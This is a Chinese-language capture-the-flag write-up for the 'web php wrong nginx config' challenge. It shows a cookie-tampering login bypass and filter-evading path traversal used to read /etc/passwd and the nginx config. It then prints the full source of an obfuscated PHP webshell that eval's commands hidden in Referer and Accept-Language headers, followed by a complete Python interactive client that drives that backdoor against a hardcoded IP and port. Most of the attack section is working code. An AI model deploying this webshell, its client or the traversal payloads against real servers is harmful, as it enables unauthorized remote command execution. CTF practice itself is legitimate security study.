web php wrong nginx config

2023-01-21 22:51:16

web php wrong nginx config

web php wrong nginx config
- 题目描述
- 解题过程

题目描述

无

解题过程

信息收集

环境
- ubuntu
- nginx/1.10.3
- php
御剑扫描
- 发现robots.txt和/admin/

robots.txt

里面放了两个文件名hint.php和Hack.php

依次访问

hint.php

内容为

配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf

Hack.php

无法访问，要求登录，但是登录功能点无法使用，抓包，发现cookie字段isLogin=0

在浏览器console里修改为isLogin=1，成功访问

尝试了一遍，发现只有管理中心链接可以跳转

/admin/admin.php

应该是文件包含

尝试file=../../../../etc/passwd&ext=，页面除了少了please continue之外没有变化
尝试file=index./&ext=php，页面没有please continue
尝试file=index../&ext=php，页面有please continue
尝试file=index.../&ext=php，页面有please continue

有两种情况，一种是过滤了./，另一种是过滤了../，但第一次尝试，读取不成功，返回的页面中没有please continue，所以应该是过滤了../

再次尝试file=..././..././..././..././etc/passwd&ext=

/etc/nginx/sites-enabled/site.conf

访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

得到内容

server

{

listen 8080;

## listen for ipv4; this line is default and implied listen [::]:8080;

## listen for ipv6 root /var/www/html;

index index.php index.html index.htm;

port_in_redirect off; server_name _;

# Make site accessible from http://localhost/

#server_name localhost;

# If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; }

# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;

if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; }

# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info;

location / {

# First attempt to serve request as file, then

# as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html;

# redirect server error pages to the static page /50x.html

# error_page 500 502 503 504 /50x.html;

location = /50x.html {

root /usr/share/nginx/html;

} 

location ~ \.php

$ {

try_files $uri $uri/ /index.php?q=$uri&$args;

fastcgi_split_path_info ^(.+\.php)(/.+)$;

fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

fastcgi_param SCRIPT_NAME $fastcgi_script_name;

fastcgi_index index.php; include fastcgi_params;

fastcgi_param REMOTE_ADDR $http_x_forwarded_for;

} 

location ~ /\. {

log_not_found off;

deny all;

} 

location /web-img {

alias /images/;

autoindex on;

} 

location ~* \.(ini|docx|pcapng|doc)$ { deny all; } 

include /var/www/nginx[.]conf;

}

发现/web-img可以进行目录浏览，这里的url解析为/web-img，所以构造的路径需要直接添加在后，不需要再添加/

/web-img

访问/web-img，绝对路径为/web-img
访问web-img../

发现hack.php.bak文件

解码后

<?php

$kh = "42f7";

$kf = "e9ac";

function x($t, $k) {

    $c = strlen($k);

    $l = strlen($t);

    $o = "";

    for ($i = 0;$i < $l;) {

        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {

            $o.= $t{$i} ^ $k{$j};

        }

    }

    return $o;

}

$r = $_SERVER;

$rr = @$r["HTTP_REFERER"];

$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

if ($rr && $ra) {

    $u = parse_url($rr);

    parse_str($u["query"], $q);

    $q = array_values($q);

    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);

    if ($q && $m) {

        @session_start();

        $s = & $_SESSION;

        $ss = "substr";

        $sl = "strtolower";

        $i = $m[1][0] . $m[1][1];

        $h = $sl($ss(md5($i . $kh), 0, 3));

        $f = $sl($ss(md5($i . $kf), 0, 3));

        $p = "";

        for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];

        if (strpos($p, $h) === 0) {

            $s[$i] = "";

            $p = $ss($p, 3);

        }

        if (array_key_exists($i, $s)) {

            $s[$i].= $p;

            $e = strpos($s[$i], $f);

            if ($e) {

                $k = $kh . $kf;

                ob_start();

                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));

                $o = ob_get_contents();

                ob_end_clean();

                $d = base64_encode(x(gzcompress($o), $k));

                print ("<$k>$d</$k>");

                @session_destroy();

            }

        }

    }

}

?>

大概是个加壳的webshell，但看不懂 = =，搜到一篇介绍，使用介绍里的exp(py2)

web php wrong nginx config

exp

= = = = = = = = = 介绍里的脚本（使用的时候需要把67、68行的密钥和70行的url改一下）

# encoding: utf-8

from random import randint, choice

from hashlib import md5

import urllib

import string

import zlib

import base64

import requests

import re

def choicePart(seq, amount):

    length = len(seq)

    if length == 0 or length < amount:

        print 'Error Input'

        return None

    result = []

    indexes = []

    count = 0

    while count < amount:

        i = randint(0, length - 1)

        if not i in indexes:

            indexes.append(i)

            result.append(seq[i])

            count += 1

            if count == amount:

                return result

def randBytesFlow(amount):

    result = ''

    for i in xrange(amount):

        result += chr(randint(0, 255))

    return result

def randAlpha(amount):

    result = ''

    for i in xrange(amount):

        result += choice(string.ascii_letters)

    return result

def loopXor(text, key):

    result = ''

    lenKey = len(key)

    lenTxt = len(text)

    iTxt = 0

    while iTxt < lenTxt:

        iKey = 0

        while iTxt < lenTxt and iKey < lenKey:

            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))

            iTxt += 1

            iKey += 1

    return result

def debugPrint(msg):

    if debugging:

        print msg

# config

debugging = False

keyh = "42f7"  # $kh

keyf = "e9ac"  # $kf

xorKey = keyh + keyf

url = 'http://220.249.52.133:43560/hack.php'

defaultLang = 'zh-CN'

languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']

proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session

langTmp = choicePart(languages, 3)

indexes = sorted(choicePart(range(1, 10), 3), reverse=True)

acceptLang = [defaultLang]

for i in xrange(3):

    acceptLang.append(langTmp[i] % (indexes[i],))

acceptLangStr = ','.join(acceptLang)

debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i

md5head = (md5(init2Char + keyh).hexdigest())[0:3]

md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))

debugPrint('$i is %s' % (init2Char))

debugPrint('md5 head: %s' % (md5head,))

debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell

cmd = raw_input('phpshell > ')

while cmd != '':

    # build junk data in referer

    query = []

    for i in xrange(max(indexes) + 1 + randint(0, 2)):

        key = randAlpha(randint(3, 6))

        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))

        query.append((key, value))

    debugPrint('Before insert payload:')

    debugPrint(query)

    debugPrint(urllib.urlencode(query))

    # encode payload

    payload = zlib.compress(cmd)

    payload = loopXor(payload, xorKey)

    payload = base64.urlsafe_b64encode(payload)

    payload = md5head + payload

    # cut payload, replace into referer

    cutIndex = randint(2, len(payload) - 3)

    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)

    iPiece = 0

    for i in indexes:

        query[i] = (query[i][0], payloadPieces[iPiece])

        iPiece += 1

    referer = url + '?' + urllib.urlencode(query)

    debugPrint('After insert payload, referer is:')

    debugPrint(query)

    debugPrint(referer)

    # send request

    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)

    html = r.text

    debugPrint(html)

    # process response

    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))

    output = pattern.findall(html)

    if len(output) == 0:

        print 'Error,  no backdoor response'

        cmd = raw_input('phpshell > ')

        continue

    output = output[0]

    debugPrint(output)

    output = output.decode('base64')

    output = loopXor(output, xorKey)

    output = zlib.decompress(output)

    print output

    cmd = raw_input('phpshell > ')

码农公寓

web php wrong nginx config

题目描述

解题过程

信息收集

robots.txt

hint.php

Hack.php

/admin/admin.php

/etc/nginx/sites-enabled/site.conf

/web-img

exp

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